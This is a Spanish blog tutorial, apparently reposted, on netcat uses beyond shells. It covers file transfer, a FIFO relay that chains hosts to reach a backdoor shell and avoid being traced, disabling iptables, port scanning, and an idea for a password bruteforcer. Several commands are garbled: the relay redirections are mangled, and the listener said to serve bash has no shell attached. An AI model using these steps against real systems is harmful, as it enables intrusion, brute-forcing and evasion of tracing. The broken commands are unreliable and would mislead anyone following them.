Otros usos de netcat

Bueno, aunque este tema también está muy trillado, quizás haya gente que únicamente utiliza el Netcat para conseguir una shell/reverse shell
A parte de esto, hay bastantes funcionalidades que nos ofrece esta navaja suiza, y que en algún momento dado nos pueden servir de ayuda.
Este texto no pretende ser una guía exhaustiva, simplemente un punto de partida para que la gente le pique la curiosidad y explore un poquito más los posibles usos del Netcat

- Transferencia de archivos:

Hay momentos, en que estamos buscando pasarnos archivos de un host a otro y no sabemos como, netcat nos ofrece una forma muy cómoda de conseguir esto, sin necesidad de montarnos un mini FTP o cualquier otra cosa que se nos ocurra.

Es tan sencillo como lo siguiente:
en el servidor:
Código:
# netcat -l -p 5050 > pass.txt

  

en el cliente: 
Código:

# cat pass.txt | netcat ip_server 5050


Con esto conseguimos pasarnos sin problemas un simple archivo de texto, pero....
Que pasa si queremos ir un pelín más allá, y pasarnos un binario (un ejecutable, un simple fichero openoffice,...)?¿?¿
Vamos a probar a ver que ocurre:

en el servidor:
Código:

# netcat -l -p 5050 > ej.odt

en el cliente: 
Código:

# cat salida.odt | netcat ip_server 5050

Y ahora comprobemos (suponiendo que el ejemplo lo hemos hecho en la misma máquina):

Código:
# diff ej.odt salida.odt
#

Como vemos, no hay NINGUNA diferencia, asi que podremos transmitir binarios sin problemas... 
- Relays utilizando netcat: 

Para este ejercicio necesitaremos 3 máquinas distintas. Crearemos un relay
en la máquina Linux utilizando un netcat ejecutándose en modo de escucha y como cliente. 
Este reenvío dirigirá los datos de una primera máquina(A) hacia otra(B). 
Esta máquina de reenvío conectará una primera máquina ejecutando un
netcat en modo cliente con una tercera (C) ejecutando netcat en modo servidor
o escucha. 

Una vez establecido, el reenvío podría permitir el acceso a esta última
máquina desde la máquina original.

El host intermedio hace de proxy, de forma que nosotros nos conectamos a el
y el nos conecta al servidor final, de esta forma conseguimos que sea más
dificil rastrearnos, ya que en los logs del server aparecerá la Ip del host
relay. 
Obviamente cuantos más hosts intermedios usemos más dificil se hará
la tarea de rastrearnos.

Una manera de crear relays es unir la entrada y la salida de un cliente y
servidor netcat utilizando un chero especial denominado FIFO (First In, First Out). 
Podemos crear un fi chero FIFO y utilizarlo para unir un netcat en modo
servidor con un cliente con las siguientes órdenes:


Código:
# mknod backpipe p
# nc -l -p [puertoA] 0backpipe

Donde el puertoA es el puerto donde escucha el relay y Puerto_Destino es el
puerto de la máquina destino (IP_Destino) donde hemos situado la puerta trasera
con la shell. Es importante no poner espacios en las redirecciones (>,<). Estas
redirecciones permiten dirigir la entrada y salida estándar hacia backpipe y no
pueden tener espacios junto a ellos.
Para que esto funcione es necesario que si tenemos un mecanismo de filtrado
de paquetes permitamos que el paso de los paquetes hacia la máquina C. Es
posible que si tenemos activo iptables (que puede funcionar como un cortafuegos)
esto no esté permitido. Podemos desactivar iptables del siguiente modo:

Código:
/etc/init.d/iptables stop

Bueno, pues manos a la obra, como dijimos, vamos a necesitar 3 máquinas (en mi caso, 
el propio host donde trabajo, y 2 máquinas virtuales), las IP's son las siguientes:

Citar
Server: 192.168.1.129
Relay: 172.16.72.135
Cliente: 172.16.72.136

Procedamos pues.

En el Servidor, mediante netcat dejamos un puerto a la escucha con una shell de regalo:
Código:

# nc -l -p 5555

En el Relay, creamos la FIFO, y mediante tuberías unimos el asunto:
Código:

# mknod buffer p
# netcat -l -p 1111 0buffer

Como se observa, primero creamos el buffer con ayuda de mknod, y después, usamos este para unir la entrada estandar (que en este caso será lo que nos mande el cliente mediante netcat) con la conexión al Servidor y guardar de nuevo la salida de esta última conexión en el buffer, que se reenviará al Cliente (Es un poco lioso, asi que mirar detenidamente la instrucción y tratar de entender paso a paso lo que haría)
Finalmente, nos conectamos desde el cliente y observamos que tenemos la shell con el Server:

Código:
# netcat 172.16.72.135
pwd
/home/XXXX


Para asegurarnos que la conexión desde el cliente hasta el servidor, ha sido "enmascarada" por el relay, vemos en el Servidor las conexiones activas, flitrando por el puerto 5555 que es donde estábamos escuchando, y obtenemos lo siguiente:

Código:
# sudo netstat -aveptn | grep 5555
tcp 0 0 192.168.1.129:5555 172.16.72.135:51220 ESTABLECIDO 1000 44068 9038/bash
Vemos que efectivamente alguien se ha conectado a nuestro puerto 5555, que tiene una shell (bash), y que la conexión proviene del Relay (172.16.72.135:51220)

- Uso como scanner:

Nos podemos encontrar en algún entorno en el que no tengamos a mano NMap o miscelaneos, por lo que como no, siempre podemos echar mano de nuestro amigo, y usarlo como un scanner de puertos (algo ruidoso y tosco, eso si )

por ejemplo:

Código:
# nc -vv 127.0.0.1 22-25
localhost [127.0.0.1] 25 (smtp) : Connection refused
localhost [127.0.0.1] 24 (?) : Connection refused
localhost [127.0.0.1] 23 (telnet) : Connection refused
localhost [127.0.0.1] 22 (ssh) open
SSH-2.0-OpenSSH_4.7p1 Debian

- Y más...

Hay MUCHAS más cositas que hacer con este estupenda herramienta, se me ocurren cosas como:

- un bruteforcer: Podríamos crear un diccionario, y mandar palabra por palabra
sus entradas a un puerto de forma que cuando se encuentre la contraseña
correcta se registre.

- sacar información: bastará con conectarse al puerto del que queramos
extraer la información del servicio y guardar su respuesta para luego
analizarla.
Otros usos de netcat Otros usos de netcat Reviewed by PDFREEBOOK on 8:29 Rating: 5

No hay comentarios

Los Comentarios emitidos en cada uno de los contenidos deberan ajustarse al tema tratado durante el post de lo contrario sera Eliminado